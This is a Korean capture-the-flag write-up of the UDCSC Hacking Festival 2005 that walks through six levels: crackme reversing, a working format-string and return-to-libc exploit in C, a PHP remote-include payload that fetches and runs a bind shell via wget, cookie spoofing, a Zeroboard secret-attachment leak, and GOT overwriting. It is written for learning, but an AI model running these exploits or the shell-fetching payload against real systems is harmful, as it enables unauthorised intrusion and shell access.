UDCSC Hacking Festival 2005

작성자: 유동훈

- 목 차

0x00: 소개 인사

안녕하세요. 이렇게 만나 뵙게 되어서 반갑습니다.
이번 이벤트를 주최해주신 여러분들께 진심으로 감사 드리는 바입니다.
준비한 문서 내용이 많이 부족할지 모릅니다. 아무쪼록 잘 봐주시기 바랍니다.
그럼, 본문으로 들어가도록 하겠습니다.

0x01: Level1 문제

윈도우 CrackMe.exe 프로그램을 다운로드 받아 풀어야 하는 있는 리버싱 문제로써 크랙에 대한 지식이 있어야 풀 수 있는 문제로 보입니다. 해당 프로그램은 level1의 패스워드와 다른 레벨 문제 힌트를 함께 담고 있습니다. 우선 Ollydbg를 다운로드 받아 준비하고 있을때 쯤(?) CrackMe2.exe (BETA 판?)가 다시 올라왔습니다. 프로그램을 다운로드 받아 실행해보니, 쉽게 level1의 패스워드를 뱉어내어 매우 당황했습니다. (허거걱) 어쨌든 쉽게 level2 서버로 접속할 수 있었습니다.

여담이지만, 레벨3까지 level1 프로그램 도움 없이 쉽게 해결할 수 있었습니다.
(뭐..약간의 뻘 짓이면 가능합니다) IP 대역이 붙어있어서 서버를 유추하는데 그리 어렵지 않았습니다.

level2 접속 힌트: http://168.188.130.233/level2.php
level3 접속 힌트: http://168.188.130.234/level3.php (안보고 때려서 접속했습니다..;;)
level4 접속 힌트: (예상하는 곳에 있을 줄 알았지만 -_- 없었습니다, 앗.. 이런)

이러면 안되겠다 싶어 결국, 다시 level1 프로그램을 훑기로 했습니다.
이미, level2와 level3에 대한 문자열을 얻어놓은 상태였기 때문에, 다른 힌트 코드 역시 쉽게 분석이 가능했습니다. 다만, 원본 파일(처음에 올라왔던 CrackMe.exe)만을 분석하고 있었기 때문에 나중에 올라온 (CrackMe2.exe) 프로그램과 다른지 전혀 모르고 있다가 낭패를 보았습니다.

CrackMe2.exe은 0x00401950 address 부근부터 암호문자열 구조에 맞는 패스워드를 작성하는 코드를 볼 수 있습니다.

MOVSX 레지스터,BYTE PTR DS:[레지스터+ 값]

위의 연산을 통해 패스워드 문자 값을 작성하는데, 잘 보면 다음의 문자열 구조를 참조하는 것을 알 수 있습니다.

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:/.~0123456789

위 문자열 구조를 통해 각 몇 번째 원소 값인지 유추할 수 있습니다. 각 값과 매칭시켜보면,
(간단히 C로 작성할 수 있었음)

...
a-0x7e, b-0x7f, c-0x80, d-0x81, e-0x82, f-0x83, g-0x84, h-0x85, i-0x86,
j-0x87, k-0x88, l-0x89, m-0x8a, n-0x8b, o-0x8c, p-0x8d, q-0x8e, r-0x8f,
s-0x90, t-0x91, u-0x92, v-0x93, w-0x94, x-0x95, y-0x96, z-0x97, :-0x98,
/-0x99, .-0x9a, ~-0x9b, 0-0x9c, 1-0x9d, 2-0x9e, 3-0x9f, 4-0xa0, 5-0xa1,
6-0xa2, 7-0xa3, 8-0xa4, 9-0xa5
...

각 문자열 값을 얻어내어 다음과 같은 원본 문자열을 얻어올 수 있습니다.

---

level1 disassemble 내용:

```
...
00402826  |. 8B55 FC          MOV EDX,DWORD PTR SS:[EBP-4]
00402829  |. 0FBE82 9B00000>MOVSX EAX,BYTE PTR DS:[EDX+9B]    ; ~
00402830  |. 50               PUSH EAX
00402831  |. 8B4D FC          MOV ECX,DWORD PTR SS:[EBP-4]
00402834  |. 0FBE91 9800000>MOVSX EDX,BYTE PTR DS:[ECX+98]    ; :
0040283B  |. 52               PUSH EDX
0040283C  |. 8B45 FC          MOV EAX,DWORD PTR SS:[EBP-4]
0040283F  |. 0FBE88 9B00000>MOVSX ECX,BYTE PTR DS:[EAX+9B]    ; ~
00402846  |. 51               PUSH ECX
00402847  |. 8B55 FC          MOV EDX,DWORD PTR SS:[EBP-4]
0040284A  |. 0FBE82 8500000>MOVSX EAX,BYTE PTR DS:[EDX+85]    ; h
00402851  |. 50               PUSH EAX
00402852  |. 8B4D FC          MOV ECX,DWORD PTR SS:[EBP-4]
00402855  |. 0FBE91 8D00000>MOVSX EDX,BYTE PTR DS:[ECX+8D]    ; p
0040285C  |. 52               PUSH EDX
0040285D  |. 8B45 FC          MOV EAX,DWORD PTR SS:[EBP-4]
00402860  |. 0FBE48 7E        MOVSX ECX,BYTE PTR DS:[EAX+7E]     ; a
00402864  |. 51               PUSH ECX
00402865  |. 8B55 FC          MOV EDX,DWORD PTR SS:[EBP-4]
00402868  |. 0FBE82 8F00000>MOVSX EAX,BYTE PTR DS:[EDX+8F]    ; r
0040286F  |. 50               PUSH EAX
00402870  |. 8B4D FC          MOV ECX,DWORD PTR SS:[EBP-4]
00402873  |. 0FBE91 8400000>MOVSX EDX,BYTE PTR DS:[ECX+84]    ; g
```

```
0040287A  |. 52              PUSH EDX
0040287B  |. 8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
0040287E  |. 0FBE88 8C00000>MOVSX ECX,BYTE PTR DS:[EAX+8C]    ; o
00402885  |. 51              PUSH ECX
00402886  |. 8B55 FC         MOV EDX,DWORD PTR SS:[EBP-4]
00402889  |. 0FBE82 9100000>MOVSX EAX,BYTE PTR DS:[EDX+91]    ; t
00402890  |. 50              PUSH EAX
00402891  |. 8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
00402894  |. 0FBE91 8800000>MOVSX EDX,BYTE PTR DS:[ECX+88]    ; k
0040289B  |. 52              PUSH EDX
0040289C  |. 8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
0040289F  |. 0FBE88 8000000>MOVSX ECX,BYTE PTR DS:[EAX+80]    ; c
004028A6  |. 51              PUSH ECX
004028A7  |. 8B55 FC         MOV EDX,DWORD PTR SS:[EBP-4]
004028AA  |. 0FBE42 7E       MOVSX EAX,BYTE PTR DS:[EDX+7E]    ; a
004028AE  |. 50              PUSH EAX
004028AF  |. 8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
004028B2  |. 0FBE91 8F00000>MOVSX EDX,BYTE PTR DS:[ECX+8F]    ; r
004028B9  |. 52              PUSH EDX
004028BA  |. 8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
004028BD  |. 0FBE88 8000000>MOVSX ECX,BYTE PTR DS:[EAX+80]    ; c
004028C4  |. 51              PUSH ECX
004028C5  |. 68 30235B00     PUSH 2CrackMe.005B2330          ;  ASCII "level1
password : %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
...
```

결과적으로 분석된 내용:

level1 **패스워드**: cracktograph~:~ (원래 패스워드에서 뒤에 특수문자 3글자가 추가되었음)
level2 **접속 힌트**: http://168.188.130.233/level2.php
level3 **접속 힌트**: http://168.188.130.234/level3.php
level4 **접속 힌트**: http://168.188.130.233/login.php
level5 **접속 힌트**: http://168.188.130.234/level5.php
level6 **접속 힌트**: http://168.188.130.239/level6.html

0x02: Level2 문제

Fedora core 3 환경에서 overflow + format string exploit을 시도하는 문제입니다. 힌트 웹으로 접속하면 다음과 같은 정보를 줍니다.

---

http://168.188.130.233/level2.php

login localhost:22

ID : guest
PASS : DHF2005

해당 정보를 통해 서버에 local 접속하였습니다. 일반적인 FC3 공격 방법이 통하는 것 같아 다음과 같은 공격 method를 준비하였습니다.

우선, buffer overflow를 통해 1032byte 후 나타나는 ebp를 execl의 인자 값 포인터 - 8 값으로 채우고 ret 부분을 execl+3 (프롤로그가 끝나는 시점)로 채웁니다. 일반적인 공격 방법대로라면, execl의 인자 값 포인터 부분의 값을 심볼릭 링크로 걸어 넣어도 공격을 성공할 수 있습니다만, 조금 더 편하게 쉘을 실행하기 위해 format string 기법을 이용하였습니다.
아마도 제가 생각하는 방법이 문제 출제자의 의도 중 하나가 아닐까 생각되네요.
또한, NULL 값 입력이 용이하도록 프로그램이 scanf()를 사용하더군요~ ^^

[execl의 인자값 1로 쓰일 주소 코드]
[execl의 인자값 2로 쓰일 주소 코드]
[execl의 인자값 3으로 쓰일 주소 코드] /* execl의 요구 인자값이 세 개이므로, 세 번에 덮어씀 */
[인자값 1에 대한 포맷스트링 코드] /* "/bin/csh"의 위치로 덮어씌움 */
[인자값 2에 대한 포맷스트링 코드] /* "/bin/csh의 위치로 덮어씌움 */
[인자값 3에 대한 포맷스트링 코드] /* NULL로 덮어씌움 */
[나머지 1032byte의 잉여공간을 채우기 위한 코드]
[execl의 인자값 포인터 주소에서 8을 뺀 주소 코드]
[execl+3의 주소 코드]

간단히 공격 method에 대해 설명하자면, 포맷 스트링 공격을 통해 총 세 번의 주소 값 코드를 덮어씌웁니다.
[http://l0t3k.net/biblio/formatstring/en/double-formatstring.txt] - double format string exploit
이 공격은 RTL을 위해 각 필요한 address 값을 덮어씌우거나, shellcode 자체를 실행 가능한 메모리 영역에 덮어씌우는데 매우 유용한 방법을 제공합니다. 덮어씌우는 세 개의 주소 값은 execl() 함수가 필요로 하는 3가지 인자 값으로 사용하기 위해서 입니다.

실행할 프로그램의 인자를 "/bin/csh"로 덮어쓰는 이유는 "/bin/sh"를 한번에 실행할 경우 group 권한을 얻지 못하기 때문입니다. setreuid()와 setregid()를 수행 후 "/bin/sh"를 실행하기 위해 symlink 작업 과정을 거쳐야 하지만, 곧바로 "/bin/csh"을 덮어씌우면 이 과정을 거치지 않고도 group 권한의 쉘 획득이 가능합니다.

우선, 공통으로 사용하는 동적 libc 라이브러리에 "/bin/sh" 문자열과 "/bin/csh" 문자열이 있는 것을 확인할 수 있습니다.

```
[guest@target1 level2_solv]$ ldd level2
        libc.so.6 => /lib/tls/libc.so.6 (0x00b98000)
        /lib/ld-linux.so.2 (0x00b7f000)
[guest@target1 level2_solv]$ strings /lib/tls/libc.so.6 | grep -e '/bin/sh₩|/bin/csh'
/bin/sh
/bin/csh
[guest@target1 level2_solv]$
```

/lib/tls/libc.so.6 라이브러리를 사용하고 있는 것을 볼 수 있으며, 프로그램 실행 시 배치될 것을 예상하여, 위 주소들을 얻어오면 됩니다.

```
[guest@target1 level2_solv]$ objdump -s /lib/tls/libc.so.6 | grep -e '/bin/sh₩|csh'
 caf600 2d63002f 62696e2f 73680065 78697420  -c./bin/sh.exit
 cb0890 2f637368 002f6574 632f7368 656c6c73  /csh./etc/shells
[guest@target1 level2_solv]$
```

이렇게 얻게 된 정보를 토대로 프로그램 내에 실행 후 배치된 위치를 확인해볼 수 있습니다.

```
[guest@target1 level2_solv]$ gdb -q level2
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r
Starting program: /var/tmp/level2_solv/level2
(no debugging symbols found)...(no debugging symbols found)...x
x

Program exited normally.
(gdb) x/s 0xcaf603
0xcaf603 <__libc_ptyname1+2172>:              "/bin/sh"
(gdb) x/s 0xcb088c
0xcb088c <__libc_ptyname1+6917>:              "/bin/csh"
(gdb)
```

---

exploit에서는 "/bin/csh" 주소인 0xcb088c를 이용하도록 합니다. 그 다음 execl+3을 덮어씌우는 공격 코드는 이전에 해커스쿨 대회에서 유진호 님께서 선보이셨던 방법입니다.
우선, execl+3을 해주는 이유는 프롤로그 과정을 거치기 때문에 %ebp를 push 후, %esp가 %ebp에 덮어 씌워져 손상되는 일을 막기 위해서 입니다. 그래서 과정을 생략한 execl+3 부분으로 점프합니다.

그리고, 첫 번째 인자 값 포인터에서 -8을 빼는 이유는 execl()에서 내부적으로 execve()를 호출하는데, 이때 실행하는 첫 번째 프로그램 인자("/bin/csh")를 %ebp의 +8 위치에서 얻어오기 때문입니다. 이를 조금 더 자세히 확인해보면,

---

```
(gdb) disass execve
Dump of assembler code for function execve:
0x00c21490 <execve+0>:   push   %ebp
0x00c21491 <execve+1>:   mov    %esp,%ebp
0x00c21493 <execve+3>:   sub    $0x8,%esp
0x00c21496 <execve+6>:   mov    %ebx,(%esp)
0x00c21499 <execve+9>:   mov    0xc(%ebp),%ecx
```

```
0x00c2149c <execve+12>: call   0xbacc71 <__i686.get_pc_thunk.bx>
0x00c214a1 <execve+17>: add    $0x99b53,%ebx
0x00c214a7 <execve+23>: mov    %edi,0x4(%esp)
0x00c214ab <execve+27>: mov    0x10(%ebp),%edx
0x00c214ae <execve+30>: mov    0x8(%ebp),%edi
0x00c214b1 <execve+33>: xchg   %ebx,%edi
0x00c214b3 <execve+35>: mov    $0xb,%eax
```

잘 살펴보면, %eax에 $0xb (__NR_execve)를 넣고 %edi에 %ebp+8 위치 값(0x8(%ebp))을 넣은 후, 나중에 %ebx에 exchange(xchg %bx,%edi) 명령을 통해 교환하는 것을 볼 수 있습니다. %ecx에는 %ebp+12 위치 값(0xc(%ebp))을 넣고, %edx에는 %ebp+16의 위치 값(0x10(%ebp))을 넣는 것을 확인하였습니다.

결론적으로 우리가 execl+3을 불러올 때 사용하는 ebp의 +8는 첫 번째 인자의 위치가 되고, +12는 두 번째 인자가 되며 +16은 세 번째 인자의 위치가 됩니다.

지금까지 공격 코드에서 왜 execl+3의 위치를 덮어씌우고 첫 번째 인자 값의 포인터에서 -8을 빼는지도 알아봤습니다. 위의 작업을 수월하게 성공시키기 위해 다음과 같은 fmt_t.c를 작성하였습니다.

```
/*
** format string overwite test sploit
*/

#include <stdio.h>

int main()
{
        int i=0;
        char x[800]=
                // 0x804958c (execl() arguments pointer)
                "₩x8c₩x95₩x04₩x08₩x8e₩x95₩x04₩x08"
                "₩x90₩x95₩x04₩x08₩x92₩x95₩x04₩x08"
                "₩x94₩x95₩x04₩x08₩x96₩x95₩x04₩x08"
```

```
                "%%2164x%%%8$n%%63551x%%%9$n" // 0xcb088c (/bin/csh)
                "%%1985x%%%10$n%%63551x%%%11$n" // 0xcb088c (/bin/csh)
                "%%65333x%%%12$n%%65536x%%%13$n" // 0 (NULL)
;
        printf(x);
        for(i=0;i<1032-strlen(x)+12/* '%' value */;i++)
        {
                printf("X");
        }
        printf("AAAA");
        fflush(stdout);
}
```

컴파일 후, 코드를 실행시킨 결과 입니다.

```
[guest@target1 level2_solv]$ gcc -o fmt_t fmt_t.c
[guest@target1 level2_solv]$ ./fmt_t > res
[guest@target1 level2_solv]$ gdb -q level2
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r < res
...
Program received signal SIGSEGV, Segmentation fault.
0x00bace00 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) x/x 0x0804958c
0x804958c <_DYNAMIC+144>:       0x00cb088c <--- execl 첫 번째 프로그램 인자
(gdb)
0x8049590 <_DYNAMIC+148>:       0x00cb088c <--- execl 두 번째 인자
(gdb)
0x8049594 <_DYNAMIC+152>:       0x00000000 <--- execl 세 번째 인자
(gdb)
```

포맷 스트링 공격 코드를 이용해 덮어씌운 결과, 정확히 원하는 주소에 "/bin/csh" 주소가 덮어씌워진 것을 볼 수 있었습니다. 다음은 이렇게 완성된 최종적인 공격 exploit 코드입니다.

```
/*
** It's real sploit
*/

#include <stdio.h>
#include <unistd.h>

/*
[XXXXXXXX... 1032 ...XXXXXXXX][arguments pointer - 8][execl+ 3]
arguments pointer: 0x0804948c

(gdb) x 0x0804958c
0x804958c <_DYNAMIC+ 144>:          0x00cb088c (execl argument 1)
(gdb)
0x8049590 <_DYNAMIC+ 148>:          0x00cb088c (execl argument 2)
(gdb)
0x8049594 <_DYNAMIC+ 152>:          0x00000000 (execl argument 3)
*/

int main(int argc,char *argv[])
{
        int i;
        unsigned long args_ptr=0x0804948c;
        /* 0xc21723 <execl+ 3>:        0x57104d8d */
        unsigned long execl_3=0x00c21723;
        /* objdump -s /lib/tls/libc.so.6 | grep "csh"
            cb0890 2f637368 002f6574 632f7368 656c6c73   /csh./etc/shells
            "/bin/csh" address is 0xcb088c
        */
        unsigned long shell=0xcb088c;
        unsigned char atk_head[1024];
        unsigned char atk_buf[256];
        unsigned char buf[4096];
        int a,b,c,d,e,f;
        a=b=c=d=e=f=0;
```

```
memset((char *)atk_head,0,sizeof(atk_head));
memset((char *)atk_buf,0,sizeof(atk_buf));
memset((char *)buf,0,sizeof(buf));

/* execl argument 1 */
*(long *)&atk_head[0]=args_ptr+ 0;
*(long *)&atk_head[4]=args_ptr+ 2;
/* execl argument 2 */
*(long *)&atk_head[8]=args_ptr+ 4;
*(long *)&atk_head[12]=args_ptr+ 6;
/* execl argument 3 */
*(long *)&atk_head[16]=args_ptr+ 8;
*(long *)&atk_head[20]=args_ptr+ 10;

/* execl argument 1 */
a=(shell&0x0000ffff)>>0;
b=(0x10000+ ((shell&0xffff0000)>>16))-a;

/* execl argument 2 */
c=((shell&0x0000ffff)>>0)-((shell&0xffff0000)>>16);
d=(0x10000+ ((shell&0xffff0000)>>16))-a;

/* execl argument 3 */
e=(0x10000+ ((0x00000000&0x0000ffff)>>0))-((shell&0xffff0000)>>16);
f=(0x10000+ ((0x00000000&0xffff0000)>>16))-0;

printf("%s"
        "%%%ux%%8$n%%%ux%%9$n"
        "%%%ux%%10$n%%%ux%%11$n"
        "%%%ux%%12$n%%%ux%%13$n",atk_head,a-strlen(atk_head),b,c,d,e,f);

for(i=0;i<940;i++)
{
        printf("X");
}
```

```
        *(long *)&atk_buf[0]=args_ptr-8; /* arguments pointer - 8 */
        *(long *)&atk_buf[4]=execl_3;
        printf("%s",atk_buf);
        fflush(stdout);
}
```

실행 결과, level2 gid 권한을 얻을 수 있었습니다.

```
[guest@target1 level2_solv]$ (./x00;cat)|/home/guest/level2
...                                804815cXXXXXXXXX... 생 략 ...XXXXX#?
id
uid=501(guest) gid=501(guest) egid=502(level2) groups=501(guest) context=user_u:
system_r:unconfined_t
```

해당 level2의 패스워드는, "It is No Fake~!" 입니다.

0x03: Level3 문제

힌트 웹 페이지에 접속하면, 다음 화면을 볼 수 있습니다. 인자 값은 쉽게 유추할 수 있었으며, PHP Injection 공격을 통해 쉘을 얻을 수 있습니다.

---

http://168.188.130.234/level3.php

hahahaha

level 3 is What ??

parameter dir is .

공격 요청 URL: level3.php?dir=http://공격자주소/

공격자의 서버에는 include.php 파일을 작성하여 공격할 수 있으며, 올바른 공격을 위해 apache httpd.conf 설정에서 php 확장자 지원을 주석 처리하여 PHP 문법 실행을 일시적으로 봉쇄한 후 실행했습니다.

```
<?
        passthru("cd /tmp ; wget http://패킷스톰/bindshell.c ;
                gcc -o bindshell bindshell.c ;  ./bindshell");
?>
```

31337번 포트로 열리는 bindshell을 tmp 디렉토리에 다운로드 받아 컴파일 후 실행하여 접속할 수 있었습니다. level3의 패스워드는, "Keep, Kep, Ke" 입니다.

0x04: Level4 문제

일반적인 쿠키 스푸핑 취약점 문제입니다. 인증 창을 로그인 후 웹 브라우저에서 javascript:document.cookie 문법을 통해 먼저 쿠키 값을 확인하였습니다. guest id로 로그인하면, user_id=guest로 Set-Cookie 되는데, 이를 level4로 변경하면, level4의 권한으로 웹을 볼 수 있습니다. 별다른 것이 없음을 확인하고, user_id=admin으로 재 접속하니 level4의 패스워드 정보를 얻을 수 있었습니다.

---

http://168.188.130.233/login.php

공격 요청 코드:

GET http://168.188.130.233/login.php HTTP/1.0

Cookie: user_id=admin

---

level4의 패스워드는 "Serialized by myself~!" 입니다.

0x05: Level5 문제

---

http://168.188.130.234/level5.php
zboard 게시판 주소: http://168.188.130.239/~passket/v3/bbs/zboard.php?id=udcsc

---

제로보드 최신 버전에는 또 다른 곳에 취약점이 존재합니다. iframe exploit이라 하여,
XSS script 태그를 대신하여 공격할 수 있습니다. 이는 제로보드 자체가 공격자에 의한
세션 취약점을 차단하는 알고리즘을 사용하고 있기에 고안된 공격 방법입니다.
[http://x82.inetcop.org/h0me/papers/iframe_tag_exploit.txt] - GET, POST method iframe exploit

해당 방법으로 공격을 시도했지만, 운영자가 쪽지 함에 접속하지 않아 결과적으론 공격이
실패했습니다. 하지만, 쪽지 함에 접속했다면, 메시지를 읽지 않아도 iframe이 수행되기 때문에
remote 공격을 통해 shell을 획득할 수 있습니다. level6 remote exploit 과정 없이도 해당 서버에
접속할 수 있었을 것으로 생각됩니다.

문제 출제자의 의도대로 제로보드에 잠재된 취약점이라 하여 view.php, _head.php, 순서대로 분석
하고, 첨부파일 관련 알고리즘 역시 간단하게 훑어봤습니다.

공격의 시나리오는 생각보다 간단했습니다.
우선, 자신의 글을 작성하여 파일을 첨부한 후, 그 해당 파일을 읽을 때 URL을 기억한 후,
게시판 번호 인자 값만 비밀 글 주소로 변경해주면, 일반 사용자도 비밀 글에 첨부된 파일을
쉽게 읽을 수 있게 됩니다.
비밀 글이나 관리자가 upload 하는 자료일지라도 동일한 웹 서버 권한으로 파일이 올라가기
때문에 첨부파일의 경로가 다른 사용자에게 알려지면 비공개 자료가 유출될 수 있는 문제점이라
할 수 있습니다.

우선, 위에서 잠시 설명한대로, 제로보드 자체는 세션을 IP로 인증합니다. 그래서 접속 중인 IP가
변경되면, 곧바로 세션을 unset 합니다. 보유 중인 proxy 서버를 통하여 웹 상에서 미리 로그인
하였습니다. 간단한 네트워크 sniffing을 통해 packet을 capture한 후, 게시판 번호 인자 값을
비밀 글(공지 글)의 번호로 변경하였습니다.

자, 이제 proxy 서버에서 직접 조작한 데이터 내용을 보냅니다.

GET
http://168.188.130.239/~passket/v3/bbs/download.php?id=udcsc&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=3&filenum=1 HTTP/1.0
Referer:
http://168.188.130.239/~passket/v3/bbs/view.php?id=udcsc&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=3
Accept-Language: ko
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 168.188.130.239
Cookie: zb_s_check=8_20; PHPSESSID=8e92ecfbd1e95ff7873437fc19f0015b

---

위 내용대로 요청하면, 해당 게시판 비밀 글에 첨부된 파일의 경로가 출력됩니다. 경로를 추출하여 웹에서 접속하면 level5의 패스워드 정보를 얻을 수 있습니다.

추출한 첨부파일 경로 URL –
http://168.188.130.239/~passket/v3/bbs/data/udcsc/password_eifejiefj.txt

---

level5의 패스워드는 "Find my liberty!" 입니다.

0x06: Level6 문제

http://168.188.130.239/level6.html 웹 주소로 접속하면, id와 passwd를 입력할 수 있는 입력 창이 나옵니다. http://168.188.130.239/cgi-bin/level6.cgi 프로그램은 POST 방식으로 인자가 전달되며, format string 취약점이 존재하고 있는 것을 예상할 수 있었습니다. %8x로 스택 안의 내용을 살펴본 결과, 공격 시 덮어쓸 수 있는 횟수를 제한하기 위해 구성한 것 같아 보였습니다. (단지 추측) 입력하는 맨 앞의 문자열 12byte 공간을 이용하여 exploit 하는 방향으로 정했습니다. 사실, HTTP 환경 변수를 크게 넣어보니, 출력되는 것을 볼 수는 있었습니다만, 랜덤 스택 환경이기 때문에 공격 확률 면에서 크게 떨어질 것으로 생각되어 시도해보진 않았습니다.

먼저, 시도하려는 공격에 대해 간단히 설명 드리겠습니다.
해당 exploit method는 덮어쓰려는 각 address 주소를 알고 있다면, 원격 공격 상에선 매우 유리한 방법 중 하나입니다.

다음 예제를 보면,

```
int main(int argc,char *argv[])
{
        char buf[256];
        strcpy(buf,argv[1]);
        printf(buf);
        printf("id");
}
```

해당 소스 코드는 공격이 가능하다는 것을 보이기 위해 간단히 작성한 내용입니다.
우선 첫 번째 printf 함수 호출 시, format string 취약점이 발생합니다.
해당 함수의 실행 구조에 대해 알아보기 위해 추상적으로 설명해보겠습니다.

---

* 프로그램 상에서 printf 함수가 처음으로 실행되었을 때:

1. printf 함수 실행
2. printf 함수 PLT 수행
3. printf 함수 GOT (PLT push 명령을 가리킴) 점프.
4. dl-resolve (인자값으로 push 명령 인자가 들어감) 호출,
   GOT에는 공유 라이브러리 실제 주소 설정됨.
5. 공유 라이브러리 내의 함수 실행

* 프로그램 상에서 printf 함수가 두번째로 실행되었을 때:

1. printf 함수 실행
2. printf 함수 PLT
3. 첫번째 실행 시, 설정된 GOT를 참조하여 공유 라이브러리 내의 printf 함수 실행

이러한 실행 구조를 갖는 이유는 여러 가지가 있습니다. 사용 상 이점으로 메모리, 디스크 자원 절약 및 재차 코드 수정 작업 개발에 용이하도록 하기 위함입니다. 어쨌든, 포맷 스트링 취약점이 있는 printf 함수를 통한 비교적 쉬운 인자 실행 방법이 존재합니다. 그 이유는 printf 인자 값 자체가 명령으로 쓰일 수 있기 때문입니다.

첫 번째 printf 함수 실행 시, 포맷 스트링 공격 코드의 내용은 당연히 printf GOT 주소를 system 라이브러리 주소로 변경하는 내용이 될 것입니다. 그렇게 되면, GOT의 정보를 사실대로 믿는 프로그램은 당연히 printf 함수 대신 system 함수를 실행하게 될 것이고, 실제 두 번째 printf 함수 실행 시, printf의 인자 값으로 쓰이는 "id" 스트링 자체가 명령 코드로 실행되어 버리는 일이 발생합니다. 즉, 결과적으로 system("id"); 명령을 실행하게 되는 것입니다.

```
# ./vuln `printf "₩xcc₩x94₩x04₩x08₩xce₩x94₩x04₩x08"`%33112x%1₩$n
%48805x%2₩$n
                              .. 생 략 ..
                                        ... 80uid=0(root) gid=0(root) groups=0(root)
,1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
#
```

제가 생각하는 공격 method로는 공격의 성공 가능성이 있는지 정확하지 않습니다.
시스템 내에 작성된 프로그램 환경에 매우 의존적으로 동작하기 때문입니다.

printf 함수가 여러 번 실행된다면, 충분히 공격은 가능할 것입니다.
얼마 전 wowhacker 대회에서도 비슷한 원격 format string 취약점 문제가 출제된 것이 있는데 이 방법으로 exploit을 해결할 수 있습니다. (포맷 스트링 공격 코드 뒤에 system 함수 인자로 들어갈 시스템 명령을 넣어줌)

공격에는 몇 가지 난관이 있습니다. 우선, printf GOT를 brute-force 과정을 통해 +4씩 증가시켜 대입하여 찾아냅니다. 문제는 format string으로 덮어씌우는 system() address가 정확하지 않다는 것입니다.

힌트를 통해 PLT, GOT 정보나 공유 라이브러리 address를 알았다면, 공격에 한층 더 유리해졌겠지만... 개인적인 사정 때문에 프로그램을 충분히 분석해보지 못해서 그런지 몰라도.. ^^
위의 값들이 전부 주어졌다 해도 또 다른 난관에 부딪혔을 수도 있겠군요..;;

프로그램 내의 printf() 함수 수행 횟수에 따라서도 공격 성공 여부가 결정되니까요.

0x07: 후기

지난 주말, 음주와 회사의 과중한(?) 업무로 인해 많은 시간을 할애하지 못한 관계로 최선을 다하지 못한 것이 끝내 아쉽습니다. 한동안 이러한 이벤트에 참여하지 않다가 막상 접해보니 많이 헤매게 되더군요. 물론 이쪽 연구를 소홀히 한 탓이지만 이번 회사 업무가 끝나면 열중하여 다시 연구해야겠다는 생각이 들었습니다. ^^

사실 저에게는 Fedora 시스템 대한 정보나 사전 지식이 전혀 없었습니다. 대회 당일 시스템을 처음으로 다루어 보게 되었는데 역시나 보안이 강화된 시스템이라 그런진 몰라도 여러 가지 예상하지 못한 제약 사항이 다수 존재하더군요. 아직도 의아한 부분이 구석구석 보입니다.

제로보드와 같은 문제는 참신하기도 했지만, PHP Injection이나 Cookie를 이용한 일반적인 공격 방법은 푸는 사람으로 하여금 조금 더 응용을 발휘하도록 유도했으면 더 좋지 않았나 싶습니다.

아마도 이벤트 기간이 더 길었다면, 제공되는 힌트도 체계적으로 주어지지 않았을까 싶네요.
이번 이벤트를 주최해주신 여러분들께 다시 한번 진심으로 감사 드리는 바입니다.
수고하셨습니다.